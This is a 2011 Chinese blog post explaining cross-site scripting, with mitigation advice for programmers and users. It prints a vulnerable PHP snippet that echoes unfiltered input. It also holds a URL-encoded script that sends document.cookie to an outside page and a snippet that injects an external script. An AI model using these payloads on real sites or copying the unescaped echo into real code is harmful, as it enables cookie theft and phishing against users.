Chinaunix首页 | 论坛 | 博客
  • 博客访问: 54532
  • 博文数量: 10
  • 博客积分: 415
  • 博客等级: 一等列兵
  • 技术积分: 93
  • 用 户 组: 普通用户
  • 注册时间: 2009-12-12 15:34
个人简介

爱就一个字!

文章分类

全部博文(10)

文章存档

2012年(8)

2011年(2)

分类: 系统运维

2011-06-18 10:21:12


 

它指的是恶意攻击者往Web里面插入恶意的html代码,当用户浏览该页面时,嵌入其中的html代码会被执行,从而达到恶意用户的特殊目的。

XSS属于被动式的攻击,因为其被动且不好被利用,所以许多人常常忽略其危害性。

【漏洞成因】

1、               CGi程序没有对用户提交的输入数据进行验证,没有对对其中的的HTML代码进行过滤或者转换

2、               没有对包含不可信用户输入数据的输出进行编码

【漏洞危害】

1、          获取其它用户Cookie信息

2、          修改、伪造页面信息,进行钓鱼攻击等

3、          其它

 

【原理演示】

1、          在页面

可以注册或者登录用户,当用户填写注册后,在页面login.php中显示欢迎信息。

后台代码没有对用户信息进行任何的过滤、编码或者转换。

if($_GET["user"])

{

     echo "Register new member:".$_GET["user"];

}

那么,这里就存在XSS漏洞,当我们在user文本框中嵌入javascript脚本,那么在欢迎网页中运行这段脚本如下:

运用这个原理,那么我们在user文本框中输入下面的脚本:

IE6IE9中自动打开网页。

而在chrome12中,则不会出现问题,chrome12自动将用户输入进行了编码,如下:

%3Cscript%3Ewindow.open%28%22http%3A%2F%2F%2Finfo.php%3F%22%252Bdocument.cookie%29%3C%2Fscript%3E&password=&Login=Login

 

基于上面的原理,对于一些对输入数据长度进行限制的文本框,我们不方便写入过长的内容,可以在输入框内是引入一个外部的javascript脚本。动态创建一个script标记,代码如下:

javascript: s=document.createElement("script");s.src="";document.body.appendChild(s);>

 

而在没有有过滤的网站,将在展示的时候自动运行这个脚本。

通过这个原理,我们可以改变网页的Dom结构,css样式是网页面目全非,或者是进行钓鱼攻击。获得用户的password等敏感信息。当然这些需要更加精细的伪装。

 

 

【解决方法】 
    
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力: 
程序员: 
1
 过滤或转换用户提交数据中的HTML代码,一切用户提交的数据都是不可靠的。 首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<,>,;,”’”等字符做过滤;

2 对网页的输出接口进行编码。任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

3.在cgi程序进行发布前,对网页进行XSSCSRF检测

4. Cookie 防盗
首先,避免直接在cookie 中泄露用户隐私,例如email、密码等等。

其次,通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。
5. 
尽量采用POST 而非GET 提交表单
POST 
操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。
6. 
严格检查refer
检查http refer 是否来自预料中的url


用户: 
1
 不要轻易访问别人给你的链接 
2
 禁止浏览器运行JavaScriptActiveX代码 

3.  升级到最新的浏览器版本。


参考:

XSS攻击详解

 

XSS跨站脚本攻击原理

http://yfyfj.blog.163.com/blog/static/1542478420112332114150/

 

Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page

XSS攻击原理与方法

http://blog.sina.com.cn/s/blog_51b6521b0100io5r.html

阅读(1243) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:通过 ulimit 改善系统性能

给主人留下些什么吧!~~